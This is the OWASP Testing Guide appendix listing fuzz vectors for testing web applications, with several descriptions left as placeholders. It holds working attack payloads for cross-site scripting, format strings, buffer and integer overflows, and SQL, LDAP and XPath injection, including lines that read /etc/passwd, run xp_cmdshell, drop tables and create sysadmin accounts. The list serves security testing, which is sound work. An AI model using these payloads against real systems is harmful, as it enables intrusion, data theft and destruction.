OWASP Testing Guide Appendix C: Fuzz Vectors

[Up]

The following are fuzzing vectors which can be used with WebScarab, JBroFuzz, WSFuzzer, or another fuzzer. Fuzzing is the "kitchen sink" approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing. This is the simple part of the discovery phase. Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.

Fuzz Categories
In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:


 * Recursive fuzzing
 * Replacive fuzzing

We examine and define each category in the sub-sections that follow.

Recursive fuzzing
Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:

http://www.example.com/8302fa3b

Selecting "8302fa3b" as a part of the request to be fuzzed against the set hexadecimal alphabet i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form: http://www.example.com/00000000 ... http://www.example.com/11000fff ... http://www.example.com/ffffffff

Replacive fuzzing
Replacive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:

http://www.example.com/8302fa3b

Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors:

http://www.example.com/>"> alert("XSS") & http://www.example.com/'';!--"=&{}

This is a form of replacive fuzzing. In this category, the total number of requests is dependant on the number of fuzz vectors specified.

The remainder of this appendix presents a number of fuzz vector categories.

Cross Site Scripting (XSS)
Brief description here.

>"> alert("XSS") &  ">@import"javascript:alert('XSS')"; >"'>  >%22%27>   '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'   "> >"  '';!--"=&{}    &amp;quot;)> #115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41> #0000118&#0000097&#0000115&#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000058&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28&<WBR>#x27&#x58&#x53&#x53&#x27&#x29> <IMG SRC="jav&amp;#x09;ascript:alert(<WBR>'XSS');"> <IMG SRC="jav&amp;#x0A;ascript:alert(<WBR>'XSS');"> <IMG SRC="jav&amp;#x0D;ascript:alert(<WBR>'XSS');">

Buffer Overflows and Format String Errors
Brief overview of category here.

Buffer Overflows (BFO)
Brief description here.

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

A x 5 A x 17 A x 33 A x 65 A x 129 A x 257 A x 513 A x 1024 A x 2049 A x 4097 A x 8193 A x 12288

Format String Errors (FSE)
Brief description here.

%s%p%x%d .1024d %.2049d %p%p%p%p %x%x%x%x %d%d%d%d %s%s%s%s %99999999999s %08x %%20d %%20n %%20x %%20s %s%s%s%s%s%s%s%s%s%s %p%p%p%p%p%p%p%p%p%p %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%% %s x 129 %x x 257

Integer Overflows (INT)
Brief description here.

-1  0   0x100 0x1000 0x3fffffff 0x7ffffffe 0x7fffffff 0x80000000 0xfffffffe 0xffffffff 0x10000 0x100000

SQL Injection
Brief overview of category here.

Passive SQL Injection (SQP)
Brief description here.

' OR 1=1-- OR 1=1 ' OR '1'='1 ; OR '1'='1' %22+or+isnull%281%2F0%29+%2F* %27+OR+%277659%27%3D%277659 %22+or+isnull%281%2F0%29+%2F* %27+--+  ' or 1=1-- " or 1=1--  ' or 1=1 /*   or 1=1--   ' or 'a'='a   " or "a"="a   ') or ('a'='a   Admin' OR '   '%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--   ) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;   ' having 1=1--   ' having 1=1--   ' group by userid having 1=1--   ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--   ' or 1 in (select @@version)--   ' union all select @@version--   ' OR 'unusual' = 'unusual'   ' OR 'something' = 'some'+'thing'   ' OR 'text' = N'text'   ' OR 'something' like 'some%'   ' OR 2 > 1   ' OR 'text' > 't'   ' OR 'whatever' in ('whatever')   ' OR 2 BETWEEN 1 and 3   ' or username like char(37);   ' union select * from users where login = char(114,111,111,116);   ' union select   Password:*/=1--   UNI/**/ON SEL/**/ECT   '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'   '; EXEC ('SEL' + 'ECT US' + 'ER')   '/**/OR/**/1/**/=/**/1 ' or 1/* +or+isnull%281%2F0%29+%2F* %27+OR+%277659%27%3D%277659 %22+or+isnull%281%2F0%29+%2F* %27+--+&password= '; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end -- ' and 1 in (select var from temp)-- ' union select 1,load_file('/etc/passwd'),1,1,1; 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; ' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

Active SQL Injection (SQI)
Brief description here.

'; exec master..xp_cmdshell 'ping 10.10.1.2'-- CRATE USER name IDENTIFIED BY 'pass123' CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; ' ; drop table temp -- exec sp_addlogin 'name', 'password' exec sp_addsrvrolemember 'name', 'sysadmin' INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123')) GRANT CONNECT TO name; GRANT RESOURCE TO name; INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)

LDAP Injection
Brief description here.

*|%26'  *   admin* admin*)((|userPassword=*) *)(uid=*))(|(uid=*

XPATH Injection
Brief description here.

'+or+'1'='1